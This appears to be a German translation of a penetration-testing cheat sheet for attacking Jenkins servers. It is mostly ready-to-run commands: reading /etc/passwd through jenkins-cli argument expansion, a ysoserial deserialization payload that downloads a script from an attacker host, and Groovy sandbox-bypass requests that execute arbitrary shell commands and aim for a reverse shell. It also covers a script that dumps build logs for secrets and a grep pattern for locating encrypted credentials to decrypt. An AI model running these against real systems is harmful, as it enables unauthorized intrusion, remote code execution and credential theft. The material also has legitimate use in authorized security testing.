
Anmerkungen zum Angriff auf Jenkins-Server
Jenkins-Sicherheitshinweis, Credits
Authentifiziert kann eine vollständige Datei ausgelesen werden:
java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins -auth abc:abc connect-node "@/etc/passwd"
Ohne Authentifizierung oder ohne Global/Read-Berechtigungen können nur 3 Zeilen gelesen werden: Erste Zeile lesen:
java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins who-am-i "@/etc/passwd"
Zweite Zeile lesen:
java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins enable-job "@/etc/passwd"
Dritte Zeile lesen:
java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins keep-build "@/etc/passwd"
So kann der Verschlüsselungsschlüssel der Anmeldedaten per Brute-Force geknackt werden.
Verwende ysoserial, um einen Payload zu erzeugen. Danach RCE mit diesem Skript:
java -jar ysoserial-master.jar CommonsCollections1 'wget myip:myport -O /tmp/a.sh' > payload.out
./jenkins_rce.py jenkins_ip jenkins_port payload.out
Details hier.
Wenn die Jenkins-Instanz bei der folgenden Anfrage eine Authentifizierung verlangt, aber gültige Daten zurückgibt, ist sie verwundbar:
curl -k -4 -s https://example.com/securityRealm/user/admin/search/index?q=a
Ursprüngliche RCE-Schwachstelle hier, vollständiger Exploit hier.
Alternative RCE mit Overall/Read- und Job/Configure-Berechtigungen hier.
Jenkins-Sicherheitshinweis, Credits.
Prüfe mit etwas Groovy, ob eine Jenkins-Instanz verwundbar ist (erfordert Overall/Read-Berechtigungen):
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){sleep(5000)}}'
Hinweis: Falls du einen 403-Fehler wegen eines fehlenden Crumb erhältst (eine CSRF-Schutzmaßnahme in Jenkins), kannst du den Crumb-Wert möglicherweise mit einer GET-Anfrage an https://example.com/crumbIssuer/api/json abrufen. Der Crumb-Wert muss dann zur POST-Anfrage in einem Jenkins-Crumb-Header hinzugefügt werden.
Beliebige Bash-Befehle ausführen:
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){"wget xx.xx.xx.xx/bla.txt".execute()}}'
Wenn du nicht sofort eine Reverse Shell erhältst, kannst du das Problem debuggen, indem du eine Exception auslöst:
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){def proc="id".execute();def os=new StringBuffer();proc.waitForProcessOutput(os, System.err);throw new Exception(os.toString())}}'
Jenkins-Sicherheitshinweis, Credits.
Dies funktioniert nur, wenn ein Benutzer die Rechte 'Jobs/Configure' in der Sicherheitsmatrix besitzt, ist also sehr spezifisch.
Jenkins-Sicherheitshinweis, Credits
Beachte, dass dies nur ausnutzbar ist, wenn ein dediziertes und veraltetes Update Center verwendet wird. Daher sind die meisten Server nicht verwundbar.
Verwende dieses Skript, um Build-Konsolenausgaben und Build-Umgebungsvariablen auszulesen und hoffentlich Klartext-Geheimnisse zu finden.
usage: jenkins_dump_builds.py [-h] [-u USER] [-p PASSWORD] [-o OUTPUT_DIR]
[-l] [-r] [-d] [-s] [-v]
url [url ...]
Dump all available info from Jenkins
positional arguments:
url
optional arguments:
-h, --help show this help message and exit
-u USER, --user USER
-p PASSWORD, --password PASSWORD
-o OUTPUT_DIR, --output-dir OUTPUT_DIR
-l, --last Dump only the last build of each job
-r, --recover_from_failure
Recover from server failure, skip all existing
directories
-d, --downgrade_ssl Downgrade SSL to use RSA (for legacy)
-s, --no_use_session Don't reuse the HTTP session, but create a new one for
each request (for legacy)
-v, --verbose Debug mode
Verwende dieses Python-Skript oder dieses PowerShell-Skript.
Diese Dateien werden benötigt, um Jenkins-Geheimnisse zu entschlüsseln:
Solche Geheimnisse finden sich normalerweise in:
Hier ist ein Regexp, um sie zu finden:
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"